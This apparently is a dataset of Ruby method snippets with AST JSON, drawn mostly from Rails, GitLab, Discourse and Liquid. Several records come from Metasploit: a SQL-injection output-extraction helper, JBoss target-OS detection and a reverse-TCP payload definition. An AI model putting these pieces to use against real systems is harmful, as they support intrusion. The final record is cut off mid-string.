{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20180720054856_create_skipped_email_logs.rb","start_line":6,"raw_source":"def change\n    create_table :skipped_email_logs do |t|\n      t.string :email_type, null: false\n      t.string :to_address, null: false\n      t.integer :user_id\n      t.integer :post_id\n      t.integer :reason_type, null: false\n      t.text :custom_reason\n      t.timestamps\n    end\n\n    add_index :skipped_email_logs, :created_at\n    add_index :skipped_email_logs, :user_id\n    add_index :skipped_email_logs, :post_id\n    add_index :skipped_email_logs, :reason_type\n\n    sql = <<~SQL\n    INSERT INTO skipped_email_logs (\n      email_type,\n      to_address,\n      user_id,\n      post_id,\n      reason_type,\n      custom_reason,\n      created_at,\n      updated_at\n    ) SELECT\n        email_type,\n        to_address,\n        user_id,\n        post_id,\n        1,\n        skipped_reason,\n        created_at,\n        updated_at\n      FROM email_logs\n      WHERE skipped IS TRUE\n    SQL\n\n    execute(sql)\n\n    Migration::ColumnDropper.mark_readonly(\"email_logs\", \"skipped_reason\")\n  end","complexity_score":17.4,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"skipped_email_logs\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"email_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"to_address\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"post_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"reason_type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"custom_reason\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"skipped_email_logs\"]},{\"type\":\"sym\",\"children\":[\"created_at\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"skipped_email_logs\"]},{\"type\":\"sym\",\"children\":[\"user_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"skipped_email_logs\"]},{\"type\":\"sym\",\"children\":[\"post_id\"]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"skipped_email_logs\"]},{\"type\":\"sym\",\"children\":[\"reason_type\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO skipped_email_logs (\\n\"]},{\"type\":\"str\",\"children\":[\"  email_type,\\n\"]},{\"type\":\"str\",\"children\":[\"  to_address,\\n\"]},{\"type\":\"str\",\"children\":[\"  user_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  post_id,\\n\"]},{\"type\":\"str\",\"children\":[\"  reason_type,\\n\"]},{\"type\":\"str\",\"children\":[\"  custom_reason,\\n\"]},{\"type\":\"str\",\"children\":[\"  created_at,\\n\"]},{\"type\":\"str\",\"children\":[\"  updated_at\\n\"]},{\"type\":\"str\",\"children\":[\") SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"    email_type,\\n\"]},{\"type\":\"str\",\"children\":[\"    to_address,\\n\"]},{\"type\":\"str\",\"children\":[\"    user_id,\\n\"]},{\"type\":\"str\",\"children\":[\"    post_id,\\n\"]},{\"type\":\"str\",\"children\":[\"    1,\\n\"]},{\"type\":\"str\",\"children\":[\"    skipped_reason,\\n\"]},{\"type\":\"str\",\"children\":[\"    created_at,\\n\"]},{\"type\":\"str\",\"children\":[\"    updated_at\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM email_logs\\n\"]},{\"type\":\"str\",\"children\":[\"  WHERE skipped IS TRUE\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Migration\"]},\"ColumnDropper\"]},\"mark_readonly\",{\"type\":\"str\",\"children\":[\"email_logs\"]},{\"type\":\"str\",\"children\":[\"skipped_reason\"]}]}]}]}","id":"ea85bcd9-819d-4c5b-83c4-0da2cb493765"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report/ignore/interactive.rb","start_line":182,"raw_source":"def start_over\n      reset_config\n      @restart = true\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"start_over\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reset_config\"]},{\"type\":\"ivasgn\",\"children\":[\"@restart\",{\"type\":\"true\",\"children\":[]}]}]}]}","id":"321c571f-5691-4fe4-934c-34ab1b833ebd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/todos_finder.rb","start_line":228,"raw_source":"def by_group(items)\n    return items unless group?\n\n    items.for_group_ids_and_descendants(params[:group_id])\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"by_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"for_group_ids_and_descendants\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"group_id\"]}]}]}]}]}","id":"1618a51d-7b63-4ad7-890c-1dbe9f38cba9"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":541,"raw_source":"def test_https_and_port_via_host_and_https!\n    with_test_route_set do\n      host! \"www.example.com\"\n      https! true\n\n      get \"/get\"\n      assert_equal 443, request.port\n      assert_equal true, request.ssl?\n\n      host! \"www.example.com:443\"\n      https! true\n\n      get \"/get\"\n      assert_equal 443, request.port\n      assert_equal true, request.ssl?\n\n      host! \"www.example.com:8443\"\n      https! true\n\n      get \"/get\"\n      assert_equal 8443, request.port\n      assert_equal true, request.ssl?\n    end\n  end","complexity_score":39.05,"ast_json":"{\"type\":\"def\",\"children\":[\"test_https_and_port_via_host_and_https!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_route_set\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"host!\",{\"type\":\"str\",\"children\":[\"www.example.com\"]}]},{\"type\":\"send\",\"children\":[null,\"https!\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/get\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[443]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"port\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"ssl?\"]}]},{\"type\":\"send\",\"children\":[null,\"host!\",{\"type\":\"str\",\"children\":[\"www.example.com:443\"]}]},{\"type\":\"send\",\"children\":[null,\"https!\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/get\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[443]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"port\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"ssl?\"]}]},{\"type\":\"send\",\"children\":[null,\"host!\",{\"type\":\"str\",\"children\":[\"www.example.com:8443\"]}]},{\"type\":\"send\",\"children\":[null,\"https!\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/get\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[8443]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"port\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"ssl?\"]}]}]}]}]}","id":"c7a05627-023f-4dbe-83df-9e36c59a8db6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/sqli/sqlitei/common.rb","start_line":161,"raw_source":"def truncated_query(query)\n      result = [ ]\n      offset = 1\n      loop do\n        slice = run_sql(query.sub('^OFFSET^', offset.to_s))\n        offset += @truncation_length # should be same as @truncation_length for most cases\n        result << slice\n        vprint_status \"{SQLi} Truncated output: #{slice} of size #{slice.size}\"\n        print_warning \"The block returned a string larger than the truncation size : #{slice}\" if slice.length > @truncation_length\n        break if slice.length < @truncation_length\n      end\n      result.join\n    end","complexity_score":25.75,"ast_json":"{\"type\":\"def\",\"children\":[\"truncated_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"offset\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"slice\",{\"type\":\"send\",\"children\":[null,\"run_sql\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]},\"sub\",{\"type\":\"str\",\"children\":[\"^OFFSET^\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]},\"to_s\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"offset\"]},\"+\",{\"type\":\"ivar\",\"children\":[\"@truncation_length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"slice\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{SQLi} Truncated output: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slice\"]}]},{\"type\":\"str\",\"children\":[\" of size \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slice\"]},\"size\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slice\"]},\"length\"]},\">\",{\"type\":\"ivar\",\"children\":[\"@truncation_length\"]}]},{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The block returned a string larger than the truncation size : \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slice\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slice\"]},\"length\"]},\"<\",{\"type\":\"ivar\",\"children\":[\"@truncation_length\"]}]},{\"type\":\"break\",\"children\":[]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"join\"]}]}]}","id":"ade9de45-1c0e-4426-8c62-88ef9caa2d5a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_expression/target.rb","start_line":99,"raw_source":"def collect_reflections\n    model.collect_reflections(associations) ||\n      raise(ArgumentError, \"One or more associations are invalid: #{associations.join(\", \")}\")\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"collect_reflections\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"collect_reflections\",{\"type\":\"send\",\"children\":[null,\"associations\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"One or more associations are invalid: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"associations\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}","id":"b2c3462c-4470-49ca-92e3-bc36e47b1bb5"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/cache.rb","start_line":452,"raw_source":"def fetch(name, options = nil, &block)\n        if block_given?\n          options = merged_options(options)\n          key = normalize_key(name, options)\n\n          entry = nil\n          unless options[:force]\n            instrument(:read, key, options) do |payload|\n              cached_entry = read_entry(key, **options, event: payload)\n              entry = handle_expired_entry(cached_entry, key, options)\n              if entry\n                if entry.mismatched?(normalize_version(name, options))\n                  entry = nil\n                else\n                  begin\n                    entry.value\n                  rescue DeserializationError\n                    entry = nil\n                  end\n                end\n              end\n              payload[:super_operation] = :fetch if payload\n              payload[:hit] = !!entry if payload\n            end\n          end\n\n          if entry\n            get_entry_value(entry, name, options)\n          else\n            save_block_result_to_cache(name, key, options, &block)\n          end\n        elsif options && options[:force]\n          raise ArgumentError, \"Missing block: Calling `Cache#fetch` with `force: true` requires a block.\"\n        else\n          read(name, options)\n        end\n      end","complexity_score":54.2,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[null,\"merged_options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[null,\"normalize_key\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"entry\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"force\"]}]},null,{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instrument\",{\"type\":\"sym\",\"children\":[\"read\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cached_entry\",{\"type\":\"send\",\"children\":[null,\"read_entry\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"entry\",{\"type\":\"send\",\"children\":[null,\"handle_expired_entry\",{\"type\":\"lvar\",\"children\":[\"cached_entry\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"mismatched?\",{\"type\":\"send\",\"children\":[null,\"normalize_version\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"entry\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"value\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeserializationError\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"entry\",{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"super_operation\"]},{\"type\":\"sym\",\"children\":[\"fetch\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"hit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"!\"]},\"!\"]}]},null]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},{\"type\":\"send\",\"children\":[null,\"get_entry_value\",{\"type\":\"lvar\",\"children\":[\"entry\"]},{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"save_block_result_to_cache\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"force\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Missing block: Calling `Cache#fetch` with `force: true` requires a block.\"]}]},{\"type\":\"send\",\"children\":[null,\"read\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}","id":"8a82d5e4-5e11-47c8-9dd3-095117fa4795"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/citext_test.rb","start_line":68,"raw_source":"def test_select_case_insensitive\n    @connection.execute \"insert into citexts (cival) values('Cased Text')\"\n    x = Citext.where(cival: \"cased text\").first\n    assert_equal \"Cased Text\", x.cival\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_case_insensitive\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"insert into citexts (cival) values('Cased Text')\"]}]},{\"type\":\"lvasgn\",\"children\":[\"x\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Citext\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cival\"]},{\"type\":\"str\",\"children\":[\"cased text\"]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Cased Text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"cival\"]}]}]}]}","id":"80138601-6e37-413e-bffd-2c4d9fabeb6d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240923055610_add_foreign_key_to_projects_on_organization_id.rb","start_line":17,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key_if_exists(:projects, column: :organization_id)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"organization_id\"]}]}]}]}]}]}","id":"8dc89257-04f5-4bb1-b5f9-2ab6e02f2d82"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/jboss/base.rb","start_line":110,"raw_source":"def detect_platform(res)\n    if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\\/td>/m\n      os = $1\n      if (os =~ /Linux/i)\n        return 'linux'\n      elsif (os =~ /FreeBSD/i)\n        return 'linux'\n      elsif (os =~ /Windows/i)\n        return 'win'\n      end\n    end\n\n    nil\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"detect_platform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<td.*?OSName.*?(Linux|FreeBSD|Windows).*?</td>\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"os\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"FreeBSD\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]}]},null]}]}]}]},null]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"e8731b9b-7678-443f-938a-cf364ad49f31"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/profiler_test.rb","start_line":151,"raw_source":"def test_profiling_marks_children_with_the_name_of_included_partial\n    t = Template.parse(\"{{ 'a string' | upcase }}\\n{% include 'a_template' %}\", profile: true)\n    t.render!\n\n    include_node = t.profiler[1]\n    include_node.children.each do |child|\n      assert_equal(\"a_template\", child.partial)\n    end\n  end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_profiling_marks_children_with_the_name_of_included_partial\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{ 'a string' | upcase }}\\n{% include 'a_template' %}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"profile\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"render!\"]},{\"type\":\"lvasgn\",\"children\":[\"include_node\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"profiler\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"include_node\"]},\"children\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"a_template\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"child\"]},\"partial\"]}]}]}]}]}","id":"47b79adc-acdd-43eb-8801-35f1dee2f4d9"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/tags/include_tag_test.rb","start_line":43,"raw_source":"def render_to_output_buffer(_context, output)\n    output << @template_name[1..-2]\n    output\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"render_to_output_buffer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_context\"]},{\"type\":\"arg\",\"children\":[\"output\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@template_name\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-2]}]}]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}","id":"4782c4d1-43cb-4658-992f-df9b03e3f5a2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/ruby/pingback_reverse_tcp.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      merge_info(\n        info,\n        'Name' => 'Ruby Pingback, Reverse TCP',\n        'Description' => 'Connect back to the attacker, sends a UUID, then terminates',\n        'Author' => 'asoto-r7',\n        'License' => MSF_LICENSE,\n        'Platform' => 'ruby',\n        'Arch' => ARCH_RUBY,\n        'Handler' => Msf::Handler::ReverseTcp,\n        'Session' => Msf::Sessions::Pingback,\n        'PayloadType' => 'ruby'\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Ruby Pingback, Reverse TCP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Connect back to the attacker, sends a UUID, then 